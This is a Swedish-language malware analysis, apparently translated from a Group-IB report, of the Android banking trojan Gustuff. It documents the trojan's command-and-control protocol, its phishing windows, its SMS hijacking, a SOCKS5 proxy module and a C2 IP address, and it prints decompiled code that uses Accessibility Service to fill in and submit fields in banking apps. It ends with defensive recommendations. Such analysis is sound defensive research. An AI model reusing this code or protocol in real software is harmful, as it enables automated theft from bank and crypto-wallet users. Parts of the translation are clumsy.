Hur Android-trojanen Gustuff skördar frukterna (både fiat och kryptovaluta) från dina konton

Nyligen rapporterade Group-IB om aktiviteten av den mobila Android-trojanen Gustuff. Den verkar uteslutande på internationella marknader, attackerar kunder till 100 av de största utländska bankerna, användare av 32 mobila kryptovaluta plånböcker samt stora e-handelsplattformar. Utvecklaren av Gustuff är en rysktalande cyberkriminell vid namn Bestoffer. För bara en tid sedan berömde han sin trojan som "en seriös produkt för personer med kunskap och erfarenhet." Specialisten på skadlig kod hos Group-IB

Ivan Pisarev i sin forskning beskriver i detalj hur Gustuff fungerar och vilka faror det medför. Vilka jagar Gustuff?

Gustuff tillhör en ny generation av skadlig programvara med helt automatiserade funktioner. Enligt utvecklaren har trojanen blivit en ny och förbättrad version av skadlig programvara AndyBot, som sedan november 2017 attackerar telefoner med Android OS och stjäl pengar genom phishing-webbformulär som utger sig för att vara mobilappar från kända internationella banker och betalningssystem. Bestoffer rapporterade att hyran för "Gustuff Bot" var $800 per månad.

Analysen av Gustuff-provet visade att trojanen potentiellt riktar sig mot kunder som använder mobilappar från de största bankerna, såsom Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, samt kryptovaluta plånböcker såsom Bitcoin Wallet, BitPay, Cryptopay, Coinbase och andra.

Ursprungligen skapad som en klassisk banktrojan, har Gustuff i sin nuvarande version kraftigt utökat listan över potentiella mål för attacker. Förutom Android-appar från banker, fintech-företag och kryptotjänster, riktar sig Gustuff mot användare av appar för marknadsplatser, nätbutiker, betalningssystem och meddelandeappar. Särskilt på PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut och andra.

Ingångspunkt: räkna med massinfektion

Ingångspunkt: beräkning för massinfektion

Gustuff kännetecknas av en "traditionell" infiltrationsvektor på Android-smartphones via SMS-utskick med länkar till APK. Vid infektion av en Android-enhet med ett trojan kan Gustuff sprida sig vidare genom kontaktlistan på den infekterade telefonen eller genom serverns databas. Funktionerna i Gustuff är utformade för massinfektion och maximal kapitalisering av sina operatörers verksamhet – den har en unik "autoinladdnings"-funktion för legitima mobila bankapplikationer och kryptovaluta-plånböcker, vilket möjliggör snabbare och mer omfattande stöld av pengar.

Undersökningen av trojanen visade att autoinladdningsfunktionen implementeras genom Accessibility Service – en tjänst för personer med funktionsnedsättning. Gustuff är inte den första trojanen som framgångsrikt kringgår skydd mot interaktion med fönsterkomponenter från andra applikationer med hjälp av denna Android-tjänst. Dock kvarstår användning av Accessibility Service i kombination med autoinladdning som en relativt sällsynt företeelse.

Efter nedladdning på offrets telefon, får Gustuff, med hjälp av Accessibility Service, möjlighet att interagera med fönsterkomponenter i andra applikationer (bank-, kryptovaluta-, samt applikationer för online-shopping, meddelanden etc.), och utföra åtgärder som krävs av angriparna. Till exempel kan trojanen, på uppdrag av servern, trycka på knappar och ändra värden i textfält i bankapplikationer. Användningen av Accessibility Service gör att trojanen kan kringgå de skyddsmekanismer som används av banker för att motverka mobiltrojaner från tidigare generationer, samt ändringar i säkerhetspolitiken som Google har införlivat i nya versioner av Android OS. Således kan Gustuff "stänga av" Google Protect-skyddet: enligt författaren aktiveras denna funktion i 70% av fallen.

Gustuff kan också visa falska PUSH-notiser med ikoner av legitima mobilappar. Användaren klickar på PUSH-notisen och ser ett phishing-fönster som laddas från servern, där de själva anger de begärda uppgifterna för sitt bankkort eller kryptovaluta-plånbok. I ett annat scenario öppnar Gustuff appen som PUSH-notisen representerade. I det här fallet kan malware-programmet på kommando från servern, via Accessibility Service, fylla i fälten i bankappen för en bedräglig transaktion.

Funktionerna hos Gustuff inkluderar även att skicka information om den infekterade enheten till servern, möjlighet att läsa/skicka SMS, skicka USSD-förfrågningar, starta SOCKS5 Proxy, öppna länkar, skicka filer (inklusive fotoscanningar av dokument, skärmdumpar, foton) till servern, samt återställa enheten till fabriksinställningar.

Analys av malware-programmet

Innan installationen av den skadliga appen visar Android-operativsystemet en dialogruta för användaren som innehåller en lista över de behörigheter som Gustuff begär:

Installationen av appen kommer bara att ske efter att användaren har gett sitt samtycke. När appen har startats kommer trojanen att visa användaren en dialogruta:

Därefter tar den bort sin ikon.

Gustuff är paketerad, enligt författaren, med en packer från FTT. Efter att ha startats kontaktar appen regelbundet CnC-servern för att ta emot kommandon. I flera av de filer vi har analyserat användes följande IP-adress som kontrollserver: 88.99.171[.]105 (i fortsättningen kommer vi att beteckna detta som <%CnC%>).

När programmet har startats börjar det skicka meddelanden till servern http:///api/v1/get.php.

Som svar förväntas en JSON med följande format:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

Vid varje begäran skickar appen information om den infekterade enheten. Formatet för meddelandet presenteras nedan. Det är värt att notera att fälten full, extra, apps och permission – är valfria och kommer endast att skickas vid en begäran från CnC.

{
 "info":
 {
 "info":
 {
 "cell":,
 "country":,
 "imei":,
 "number":,
 "line1Number":,
 "advertisementId":
 },
 "state":
 {
 "admin":,
 "source":,
 "needPermissions":,
 "accesByName":,
 "accesByService":,
 "safetyNet":,
 "defaultSmsApp":,
 "isDefaultSmsApp":,
 "dateTime":,
 "batteryLevel":
 },
 "socks":
 {
 "id":,
 "enabled":,
 "active":
 },
 "version":
 {
 "versionName":,
 "versionCode":,
 "lastUpdateTime":,
 "tag":,
 "targetSdkVersion":,
 "buildConfigTimestamp":1541309066721
 },
 },
 "full":
 {
 "model":,
 "localeCountry":,
 "localeLang":,
 "accounts":,
 "lockType":
 },
 "extra":
 {
 "serial":,
 "board":,
 "brand":,
 "user":,
 "device":,
 "display":,
 "id":,
 "manufacturer":,
 "model":,
 "product":,
 "tags":,
 "type":,
 "imei":,
 "imsi":,
 "line1number":,
 "iccid":,
 "mcc":,
 "mnc":,
 "cellid":,
 "lac":,
 "androidid":,
 "ssid":
 },
 "apps":{},
 "permission":
} 

Lagring av konfigurationsdata

Gustuff lagrar viktig arbetsinformation i preferensfilen. Filnamnet, liksom namnen på parametrarna i den, är resultatet av en MD5-hash av strängen 15413090667214.6.1, där <%name%> — det ursprungliga namnet- värdet. Python-tolkning av namn genereringsfunktionen:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Framöver kommer vi att beteckna som nameGenerator(input).
Således, namnet på den första filen: nameGenerator(«API_SERVER_LIST»), den innehåller värden med följande namn:

Modul för kommandobearbetning från servern

Applikationen lagrar adresserna till CnC-servrar i form av en array av kodade Base85 strängar. Listan över CnC kan ändras vid mottagande av en motsvarande kommando, i så fall kommer adresserna att lagras i en preference-fil. servrar Som svar på begäran skickar servern ett kommando till applikationen. Det är värt att notera att kommandon och parametrar presenteras i JSON-format. Applikationen kan bearbeta följande kommandon:

forwardStart

Kommandots format avisering:

{
 "results" : "OK",
 "command":{
 "id": ,
 "command":"notification",
 "timestamp":,
 "params":{
 "openApp":,
 "array":[
 {"title":,
 "desc":,
 "app":}
 ]
 },
 },
}

Aviseringen som skapas av den undersökta filen ser identisk ut med aviseringar som skapas av applikationen som anges i fältet app. Om värdet i fältet openApp — True, vid öppnandet av aviseringen startas applikationen som anges i fältet app. Om värdet i fältet openApp — False, så:

• öppnas ett phishing-fönster vars innehåll hämtas från katalogen \/hgps\/
• öppnas ett phishing-fönster vars innehåll hämtas från servern ?id=&app=
• öppnas ett phishing-fönster maskerat som Google Play-kort, med möjlighet att ange kortuppgifter.

Resultatet av att utföra något kommando skickar applikationen till set_state.php i form av ett JSON-objekt av följande format:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
Den lista över kommandon som applikationen hanterar inkluderar åtgärd. Vid mottagandet av kommandot vänder sig kommandobehandlingsmodulen till denna tjänst för att utföra det utökade kommandot. Som parameter tar tjänsten emot ett JSON-objekt. Tjänsten kan utföra följande kommandon:

1. PARAMS_ACTION — när kommandot mottas får tjänsten först värdet från JSON-parametern med nyckeln Type, vilket kan vara följande:

• serviceInfo – underkommandot får värdet från JSON-parametern med nyckeln includeNotImportant. Om flaggan är True kommer applikationen att ställa in flaggan FLAG_ISOLATED_PROCESS för tjänsten som använder Accessibility Service. Därmed kommer tjänsten att köras i en separat process.
• root — hämta och skicka till servern information om det fönster som för närvarande är i fokus. Applikationen får informationen via klassen AccessibilityNodeInfo.
• admin — begära administratörsrättigheter.
• delay — pausa ActionsService i det antal millisekunder som anges i parametern med nyckeln "data".
• windows — skicka en lista över synliga fönster för användaren.
• install — installera applikationen på den infekterade enheten. Paketnamnet för arkivet finns i nyckeln "fileName". Själva arkivet finns i katalogen Downloads.
• global – underkommandot är avsett för att navigera från det aktuella fönstret:
  • till Quick Settings-menyn
  • bakåt
  • hem
  • till aviseringar
  • till fönstret med nyligen öppnade applikationer

• launch — starta applikationen. Applikationens namn anges som parameter med nyckeln data.
• sounds — ändra ljudläget till tyst.
• unlock — slår på belysningen för skärmen och tangentbordet till full ljusstyrka. Applikationen utför denna åtgärd med hjälp av WakeLock, angivande av strängen [Application lable]:INFO som tagg.
• permissionOverlay — funktionen är inte implementerad (svar på kommandot — {"message":"Not support"} eller {"message":"low sdk"})
• gesture — funktionen är inte implementerad (svar på kommandot — {"message":"Not support"} eller {"message":"Low API"})
• permissions — detta kommando behövs för att begära rättigheter för applikationen. Men begärningsfunktionen är inte implementerad, så kommandot är meningslöst. Listan över begärda rättigheter kommer som en JSON-array med nyckeln "permissions". Standardlista:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• open — visa phishing-fönstret. Beroende på den parameter som kommer från servern kan applikationen visa följande phishing-fönster:
  • Visa phishing-fönstret, vars innehåll är skrivet i filen i katalogen /hgps/Resultatet av användarens interaktion med fönstret kommer att skickas till adressen /records.php
  • Visa phishingfönster vars innehåll förladdas från adressen ?id=&app=Resultatet av användarens interaktion med fönstret kommer att skickas till adressen /records.php
  • Visa ett phishingfönster som är maskerat som ett Google Play Card.

• interaktiv — kommandot är avsett för interaktion med fönster från andra applikationer via AccessibilityService. För interaktion i programmet implementeras en speciell tjänst. Den undersökta applikationen kan interagera med fönster:
  • Aktiva för tillfället. I så fall innehåller parametern id eller text (namnet) på objektet som det behöver interagera med.
  • Synliga för användaren vid tidpunkten för kommandots utförande. Applikationen väljer fönster efter id.

  Efter att ha fått objekten AccessibilityNodeInfo för de intressanta elementen i fönstret kan applikationen, beroende på parametrarna, utföra åtgärder:

  • focus — sätt fokus på objektet.
  • click — klicka på objektet.
  • actionId — utför åtgärd enligt ID.
  • setText — ändra texten på objektet. Textändring kan göras på två sätt: utföra åtgärden ACTION_SET_TEXT (om Android-versionen på den infekterade enheten är äldre än eller lika med LOLLIPOP), eller genom att placera en sträng i urklipp och klistra in den i objektet (för versioner senare). Detta kommando kan användas för att ändra uppgifter i en bankapplikation.

2. PARAMS_ACTIONS — samma som PARAMS_ACTION, endast att ett JSON-array av kommandon kommer.

Det verkar som att många är intresserade av hur funktionen för interaktion med elementen i fönstret för en annan applikation ser ut. Så här har denna funktion implementerats i Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Textutbytesfunktion:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
            ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
            result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Därmed, med korrekt konfiguration av kontrollservern, kan Gustuff fylla i textfält i bankapplikationen och trycka på nödvändiga knappar för att genomföra transaktionen. Trojan behöver inte ens logga in i applikationen — det räcker med att skicka en kommando för att visa PUSH-meddelandet följt av att öppna den tidigare installerade bankapplikationen. Användaren loggar själv in, efter vilket Gustuff kan genomföra autofyllning.

Modul för SMS-meddelandehantering

Applikationen sätter en händelsehanterare för att ta emot SMS-meddelanden på den infekterade enheten. Den undersökta applikationen kan ta emot kommandon från operatören som kommer i kroppen av SMS-meddelandet. Kommandona kommer i formatet:

7!5=

Applikationen letar efter strängen i alla inkommande SMS-meddelanden 7!5=, vid identifiering av en sträng – avkodar den Base64-sträng med ett förskjutning på 4 och utför kommandot. Kommandona liknar de med CnC. Resultatet av utförandet skickas till samma nummer som kommandot kom ifrån. Svarformat:

7*5=

Valfritt kan applikationen skicka alla mottagna meddelanden till Root-numret. För detta måste Root-numret anges i preferensfilen och en flagga för omdirigering av meddelanden ställas in. SMS-meddelandet skickas till angriparens nummer i formatet:

—

Dessutom kan applikationen valfritt skicka meddelanden till CnC. SMS-meddelandet skickas till servern i JSON-format:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Om flaggan är inställd nameGenerator(«DEFAULT_APP_SMS») – stoppar applikationen behandlingen av SMS-meddelandet och rensar listan över inkommande meddelanden.

Proxy-modul

I den undersökta applikationen finns en Backconnect Proxy-modul (hädanefter Proxy-modul), som har en separat klass som inkluderar statiska fält med konfiguration. Konfigurationsdata lagras i exempel i klartext:

Alla åtgärder som utförs av Proxy-modulen loggas i filer. För detta skapar applikationen en katalog med namnet «logs» i External Storage (fältet ProxyConfigClass.logsDir i konfigurationsklassen), där loggfiler lagras. Loggningen sker i filer med namnen:

1. main.txt – i denna fil loggas arbetet av klassen med namnet CommandServer. Vidare kommer loggningen av strängen str i denna fil att betecknas som mainLog(str).
2. session-.txt – i denna fil sparas loggdata relaterad till en viss proxy-session. Vidare kommer loggningen av strängen str i denna fil att betecknas som sessionLog (str).
3. server.txt – i denna fil loggas all data som skrivs i ovanstående filer.

Formatet för loggdata:

[Thread[], id[]]: log-string

Undantag som uppstår under driften av Proxy-modulen loggas också i filen. För detta skapar applikationen ett JSON-objekt av formatet:

{
 "uncaughtException":
 "thread":
 "message":
 "trace": //Stack trace info
 [
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 },
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 }
 ]
}

Därefter konverteras det till en strängrepresentation och loggas.

Starten av Proxy-modulen initieras efter att motsvarande kommando har mottagits. Vid mottagande av körkommandot för Proxy-modulen startar applikationen en tjänst med namnet MainService, som ansvarar för att hantera Proxy-modulens arbete – dess start och stopp.

Steg för att starta tjänsten:

1. Startar en timer som utlöses en gång i minuten och kontrollerar aktiviteten för Proxy-modulen. Om modulen inte är aktiv – startar den den.
Även vid utlösning av händelsen android.net.conn.CONNECTIVITY_CHANGE startas Proxy-modulen.

2. Applikationen skapar en wake-lock med parametern PARTIAL_WAKE_LOCK och tar över den. Därmed förhindrar den att enhetens CPU går in i viloläge.

3. Startar klassen för kommandobearbetning av Proxy-modulen, efter att ha loggat strängen mainLog("start server") och

Server::start() host[], commandPort[], proxyPort[]

w proxy_cnc, command_port och proxy_port – parametrar som erhållits från Proxy-serverns konfiguration.

Klassen för kommandobearbetning heter CommandConnection. Omedelbart efter start utför den följande åtgärder:

4. Ansluter till ProxyConfigClass.host: ProxyConfigClass.commandPort och skickar dit data om den infekterade enheten i JSON-format:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Hvor:

• id – identifier, försöker få värdet från Shared Preference-filen med namnet "x" i fältet "id". Om detta värde inte kan erhållas – genereras ett nytt. På så sätt har Proxy-modulen sitt eget identifierare, som genereras liknande Bot ID.
• imei – IMEI för enheten. Om ett fel inträffar vid värdehämtningen – registreras istället ett textmeddelande om felet.
• imsi — International Mobile Subscriber Identity för enheten. Om ett fel inträffade under hämtningen av värdet, kommer istället för detta fält att ett meddelande om felet att registreras.
• model — Det namn som slutkunden ser för slutprodukten.
• manufacturer — Tillverkaren av produkten/hårdvaran (Build.MANUFACTURER).
• androidVersion — en sträng i formatet " (),"
• country — enhetens nuvarande plats.
• partnerId – en tom sträng.
• packageName – paketnamn.
• networkType — typen av den aktuella nätverksanslutningen (t.ex. "WIFI", "MOBILE"). I händelse av ett fel returneras null.
• hasGsmSupport – true – om telefonen stöder GSM, annars false.
• simReady – status för SIM-kortet.
• simCountry — ISO-koden för landet (baserat på SIM-kortets leverantör).
• networkOperator — namnet på operatören. Om ett fel inträffade under hämtningen av värdet, kommer istället för detta fält att ett meddelande om felet att registreras.
• simOperator — Service Provider Name (SPN). Om ett fel inträffade under hämtningen av värdet, kommer istället för detta fält att ett meddelande om felet att registreras.
• version — detta fält lagras i konfigurationsklassen, för de undersökta versionerna av boten var det lika med "1.6".

5. Går in i vänteläge för kommandon från servern. Kommandon från servern kommer i följande format:

• 0 offset – kommando
• 1 offset – sessionId
• 2 offset – längd
• 4 offset — data

Vid mottagandet av ett kommando loggar applikationen:
mainLog("Header { sessionId], type[], length[] }")

Följande kommandon kan tas emot från servern:

PONG-meddelandet består av 4 byte och ser ut som följer: 0x04000000.

Vid mottagande av kommandot connectionId (för att skapa en ny anslutning) CommandConnection skapas en instans av klassen ProxyConnection.

• Vid proxyhantering deltar två klasser: ProxyConnection och end. Vid skapandet av klassen ProxyConnection ansluts till adressen ProxyConfigClass.host: ProxyConfigClass.proxyPort och överför JSON-objektet:

 {
    "id":
}

Som svar skickar servern ett SOCKS5-meddelande som innehåller adressen till den fjärrserver som en anslutning måste göras mot. Interaktionen med denna server sker via klassen end. Schematisk kan anslutningsinstallationen representeras på följande sätt:

Nätverksinteraktioner

För att förhindra trafikanalys av nätverks-sniffers kan interaktionen mellan CnC-servern och applikationen skyddas med SSL-protokollet. All data som överförs till och från servern presenteras i JSON-format. Applikationen utför följande förfrågningar under sin drift:

• http:///api/v1/set_state.php — resultatet av kommandons exekvering.
• http:///api/v1/get.php — hämtar kommandon.
• http:///api/v1/load_sms.php — hämtar SMS-meddelanden från den infekterade enheten.
• http:///api/v1/load_ab.php — hämtar kontaktlistan från den infekterade enheten.
• http:///api/v1/aevents.php – förfrågan görs vid uppdatering av inställningar i preferences-filen.
• http:///api/v1/set_card.php — hämtar data som erhölls genom ett phishing-fönster som maskerar sig som Google Play Market.
• http:///api/v1/logs.php – hämtar loggdata.
• http:///api/v1/records.php – hämtar data som erhölls genom phishing-fönster.
• http:///api/v1/set_error.php – notifierar om uppkomna fel.

Rekommendationer

För att skydda sina kunder från hotet av mobiltrojaner måste företag använda heltäckande lösningar som låter dem övervaka och varna för skadlig aktivitet utan att installera ytterligare programvara på användarnas enheter.

För detta ändamål måste signaturmetoder för att upptäcka mobiltrojaner förstärkas med beteendeanalystekniker både för klienten och själva applikationen. Skyddet bör också inkludera en funktion för att identifiera enheter med hjälp av digitala fingeravtryck, vilket gör det möjligt att förstå när ett konto används från en ovanlig enhet och redan har hamnat i fel händer.

En viktig punkt är möjligheten till korskanalanalys, vilket ger företag möjlighet att övervaka risker som uppstår inte bara vid internetkanalen utan även mobilkanalen, som i mobilbankapplikationer, för kryptovalutaoperationer och andra där finansiella transaktioner kan äga rum.

Säkerhetsregler för användare:

• installera inte applikationer för mobil enhet med Android OS från några källor utanför Google Play, var särskilt uppmärksam på de rättigheter som applikationen begär;
• installera regelbundet uppdateringar av Android OS;
• vara uppmärksam på filändelserna av de uppladdade filerna;
• inte besöka misstänkta resurser;
• inte klicka på länkar som mottagits i SMS-meddelanden.

Vid deltagande Semena Rogacheva, junior specialisten för forskning av skadlig kod vid Laboratoriet för datorforensik Group-IB.

Källa: habr.com